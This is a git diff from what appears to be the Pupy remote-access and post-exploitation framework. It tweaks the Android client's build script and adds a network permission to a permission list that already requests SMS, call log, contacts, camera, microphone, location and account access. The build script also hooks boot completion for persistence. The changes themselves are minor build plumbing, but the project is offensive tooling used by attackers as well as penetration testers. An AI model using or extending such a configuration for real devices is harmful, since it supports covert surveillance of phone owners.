diff --git a/client/android_sources/build.sh b/client/android_sources/build.sh old mode 100644 new mode 100755 index 816474d5..982799c5 --- a/client/android_sources/build.sh +++ b/client/android_sources/build.sh @@ -4,7 +4,7 @@ if [ "$1" = "restart" ]; then adb shell am start -S -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity exit 0 fi -buildozer 2>&1 > /dev/null # for initialisation +buildozer # for initialisation #startup bootloader ANDROID_MANIFEST="./.buildozer/android/platform/python-for-android/dist/pupy/templates/AndroidManifest.tmpl.xml" if [ -z "`cat $ANDROID_MANIFEST | grep BOOT_COMPLETED`" ]; then diff --git a/client/android_sources/buildozer.spec.example b/client/android_sources/buildozer.spec.example index 2c76e4e0..8e665f05 100644 --- a/client/android_sources/buildozer.spec.example +++ b/client/android_sources/buildozer.spec.example @@ -67,7 +67,7 @@ orientation = all fullscreen = 0 # (list) Permissions -android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED +android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE # (int) Android API to use android.api = 19 diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 9839e762..7d479239 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -7,7 +7,7 @@ __class_name__="GetInfo" class GetInfo(PupyModule): """ get some informations about one or multiple clients """ dependencies = { - 'all': [ "psutil" ], + 'all': [ ], 'windows': [ "pupwinutils.security" ], } diff --git a/pupy/payload_templates b/pupy/payload_templates index 14d46fbb..12a7844b 160000 --- a/pupy/payload_templates +++ b/pupy/payload_templates @@ -1 +1 @@ -Subproject commit 14d46fbb8953ceb5b65e206b35afd5c9ec8ef017 +Subproject commit 12a7844b2d4575360e0fd6f666b6ff09d92925ac